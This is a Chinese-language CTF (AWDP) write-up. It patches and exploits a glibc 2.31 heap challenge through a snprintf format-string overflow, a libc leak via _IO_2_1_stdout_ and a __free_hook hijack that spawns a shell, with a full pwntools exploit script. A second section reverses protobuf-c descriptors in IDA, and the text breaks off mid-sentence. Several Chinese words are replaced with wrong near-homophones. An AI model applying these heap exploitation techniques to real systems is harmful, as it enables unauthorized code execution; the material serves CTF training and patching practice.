AWDP
typo
一道2.31的堆题
漏洞点位于edit功能,snprintf函数把用户输入作为format,导致了堆溢出以及格式化字符串漏洞
fix
从步伐的代码不难看出分配出来的堆,前面八个字节是堆的size,后面的空间才是数据域
这里原意是修改heap的size,但是用错了函数,我们修改最大读入的size字节数为8,将snprintf函数nop掉修改为直接给heap->size赋值
如许即避免了堆溢出也不存在格式化字符串漏洞了
break
这里我用的是堆溢出的方法打的- def add(idx, size):
- sla(">> ", str(1))
- sla("Index: ", str(idx))
- sla("Size: ", str(size))
- def free(idx):
- sla(">> ", str(2))
- sla("Index: ", str(idx))
- def edit(idx, pay, cont):
- sla(">> ", str(3))
- sla("Index: ", str(idx))
- sla("size of content: ", pay)
- sa("you want to say: ", cont)
- def quit():
- sla(">> ", str(4))
复制代码 步伐没有show功能,可以利用_IO_FILE来进行leak
起首我们利用chunk overlapping到达类似UAF的功能。即利用溢出覆写chunk的size域来实现堆块重叠- for i in range(12):
- add(i, 0x80)
- payload = b"%136c"+ p64(0x511)
- edit(0, payload, "a")
- free(1)
- for i in range(12, 12+9):
- add(i, 0x80)
复制代码 效果如下图
接着我们打house of hotcake,构造出unsortedbin和tcachebin重叠- # chunk 20和chunk 9实际上是同一个chunk
- for i in range(12, 12+7):
- free(i)
- free(20)
- free(19)
- add(1, 0x80)
- free(9)
复制代码
接下来通太过割unsortedbin使libc地点覆盖tcachebin的fd- add(12, 0x40)
- add(13, 0x30)
复制代码
通过溢出写heap 13的size,然后再溢出修改fd的低两字节,使其指向&_IO_2_1_stdout_ - 0x10的位置,因为低三位是固定的,以是这里爆破成功的概率是1/16- edit(12, b'A'*0x50+p64(0x420), "aaaa")
- edit(13, b'A'*8, b'A'*0x38+b"\x90\x26")
复制代码 然后修改_IO_2_1_stdout_布局体,泄漏libc地点- add(14, 0x80)
- add(15, 0x80)
- edit(15, b"A"*8, flat(0, 0xfbad1800,0,0,0)+b"\x00")
- ru(p64(0))
- libc.address = uu64() - 0x1ec980
复制代码 最后劫持__free_hook为system函数,getshell- edit(13, b"A"*8, b'A'*0x28+flat(0, 0x91))
- free(14)
- edit(13, b"A"*8 , b'A'*0x38+p64(libc.sym["__free_hook"]-8))
- add(16, 0x80)
- add(17, 0x80)
- edit(17, p64(libc.sym["system"]), p64(libc.sym["system"])*4)
- edit(10, b'A'*0x90 + b"/bin/sh\x00", "aaaa")
- free(11)
- ia()
复制代码 exp
- from pwn import *import structdef debug(c = 0): if(c): gdb.attach(p, c) else: gdb.attach(p) sd = lambda data : p.send(data)sa = lambda text,data :p.sendafter(text, data)sl = lambda data :p.sendline(data)sla = lambda text,data :p.sendlineafter(text, data)rc = lambda num=4096 :p.recv(num)ru = lambda text :p.recvuntil(text)rl = lambda :p.recvline()pr = lambda num=4096 :print(p.recv(num))ia = lambda :p.interactive()l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))int16 = lambda data :int(data,16)lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))lgn = lambda s, n :p.success('%s -> 0x%x' % (s, n))context(arch = "amd64",os = "linux",log_level = "debug")#context.terminal = ['tmux','splitw','-h']context.terminal = ['gnome-terminal', '-x', 'sh', '-c']file = "./pwn"libc = "./libc-2.31.so"elf = ELF(file, False)libc = ELF(libc, False)def add(idx, size):
- sla(">> ", str(1))
- sla("Index: ", str(idx))
- sla("Size: ", str(size))
- def free(idx):
- sla(">> ", str(2))
- sla("Index: ", str(idx))
- def edit(idx, pay, cont):
- sla(">> ", str(3))
- sla("Index: ", str(idx))
- sla("size of content: ", pay)
- sa("you want to say: ", cont)
- def quit():
- sla(">> ", str(4))def pwn(): global p p = process("./pwn") for i in range(12): add(i, 0x80) payload = b"%136c"+ p64(0x511) edit(0, payload, "a") stdout_offset = libc.sym["_IO_2_1_stdout_"] & 0xffff # 0xd6a0 free(1) for i in range(12, 12+9): add(i, 0x80) for i in range(12, 12+7): free(i) free(20) free(19) add(1, 0x80) free(9) add(12, 0x40) add(13, 0x30) edit(12, b'A'*0x50+p64(0x420), "aaaa")
- edit(13, b'A'*8, b'A'*0x38+b"\x90\x26") add(14, 0x80)
- add(15, 0x80)
- edit(15, b"A"*8, flat(0, 0xfbad1800,0,0,0)+b"\x00")
- ru(p64(0))
- libc.address = uu64() - 0x1ec980 edit(13, b"A"*8, b'A'*0x28+flat(0, 0x91)) free(14) edit(13, b"A"*8 , b'A'*0x38+p64(libc.sym["__free_hook"]-8)) add(16, 0x80) add(17, 0x80) edit(17, p64(libc.sym["system"]), p64(libc.sym["system"])*4) lgn("libc_base", libc.address) #debug("b free\n b malloc") #pause() edit(10, b'A'*0x90 + b"/bin/sh\x00", "aaaa") free(11) ia()pwn()
复制代码 prompt
proto文件还原
在我之前有篇文章有讲怎样根据二进制C步伐还原proto文件,这里再讲一次
起首IDA里面搜刮常数0x28AAEEF9,这是Protobuf message形貌符的magic number

可以知道该message的名称是HeapPayload,我们能在上面找到它的字段形貌符

我们导入下面布局体到IDA structures,右键将unk_4B20转为布局体ProtobufCFieldDescriptor
一共是四个字段形貌符- enum ProtobufCLabel
- {
- PROTOBUF_C_LABEL_REQUIRED = 0x0, ///< A well-formed message must have exactly one of this field.
- PROTOBUF_C_LABEL_OPTIONAL = 0x1, ///< A well-formed message can have zero or one of this field (but not
- ///< more than one).
- PROTOBUF_C_LABEL_REPEATED = 0x2, ///< This field can be repeated any number of times (including zero) in a
- ///< well-formed message. The order of the repeated values will be
- ///< preserved.
- PROTOBUF_C_LABEL_NONE = 0x3, ///< This field has no label. This is valid only in proto3 and is
- ///< equivalent to OPTIONAL but no "has" quantifier will be consulted.
- };
- enum ProtobufCType
- {
- PROTOBUF_C_TYPE_INT32 = 0x0, ///< int32
- PROTOBUF_C_TYPE_SINT32 = 0x1, ///< signed int32
- PROTOBUF_C_TYPE_SFIXED32 = 0x2, ///< signed int32 (4 bytes)
- PROTOBUF_C_TYPE_INT64 = 0x3, ///< int64
- PROTOBUF_C_TYPE_SINT64 = 0x4, ///< signed int64
- PROTOBUF_C_TYPE_SFIXED64 = 0x5, ///< signed int64 (8 bytes)
- PROTOBUF_C_TYPE_UINT32 = 0x6, ///< unsigned int32
- PROTOBUF_C_TYPE_FIXED32 = 0x7, ///< unsigned int32 (4 bytes)
- PROTOBUF_C_TYPE_UINT64 = 0x8, ///< unsigned int64
- PROTOBUF_C_TYPE_FIXED64 = 0x9, ///< unsigned int64 (8 bytes)
- PROTOBUF_C_TYPE_FLOAT = 0xA, ///< float
- PROTOBUF_C_TYPE_DOUBLE = 0xB, ///< double
- PROTOBUF_C_TYPE_BOOL = 0xC, ///< boolean
- PROTOBUF_C_TYPE_ENUM = 0xD, ///< enumerated type
- PROTOBUF_C_TYPE_STRING = 0xE, ///< UTF-8 or ASCII string
- PROTOBUF_C_TYPE_BYTES = 0xF, ///< arbitrary byte sequence
- PROTOBUF_C_TYPE_MESSAGE = 0x10, ///< nested message
- };
- struct ProtobufCFieldDescriptor {
- /** Name of the field as given in the .proto file. */
- const char *name;
- /** Tag value of the field as given in the .proto file. */
- uint32_t id;
- /** Whether the field is `REQUIRED`, `OPTIONAL`, or `REPEATED`. */
- ProtobufCLabel label;
- /** The type of the field. */
- ProtobufCType type;
- /**
- * The offset in bytes of the message's C structure's quantifier field
- * (the `has_MEMBER` field for optional members or the `n_MEMBER` field
- * for repeated members or the case enum for oneofs).
- */
- unsigned quantifier_offset;
- /**
- * The offset in bytes into the message's C structure for the member
- * itself.
- */
- unsigned offset;
- const void *descriptor; /* for MESSAGE and ENUM types */
- /** The default value for this field, if defined. May be NULL. */
- const void *default_value;
- uint32_t flags;
- /** Reserved for future use. */
- unsigned reserved_flags;
- /** Reserved for future use. */
- void *reserved2;
- /** Reserved for future use. */
- void *reserved3;
- };
复制代码

根据还原出来的字段形貌符,我们可以得到如下proto文件(因为存在NONE标签,以是是proto3协议)- syntax = "proto3";
- message HeapPayload {
- int32 option = 1;
- repeated int32 chunksize = 2;
- repeated int32 heap_chunks_id = 3;
- bytes heap_content = 4;
- }
复制代码 为了方便之后的逆向,我们输入protoc-c --c_out=. heap.proto来编译该proto文件,然后在heap.pb-c.h文件找到该message的C布局体(如下)并导入IDA- struct HeapPayload
- {
- ProtobufCMessage base;
- int32_t option;
- size_t n_chunksize;
- int32_t *chunksize;
- size_t n_heap_chunks_id;
- int32_t *heap_chunks_id;
- ProtobufCBinaryData heap_content;
- };
- struct ProtobufCBinaryData { // 这个结构体在protobuf-c项目里面有定义
- size_t len; /**< Number of bytes in the `data` field. */
- uint8_t *data; /**< Data bytes. */
- };
复制代码 至此,逆向protobuf部分的工作就完成了。可以看到还原的代码可读性已经不错了
fix
漏洞点:
edit函数没有对size进行判断导致堆溢出(红框处改成v4 |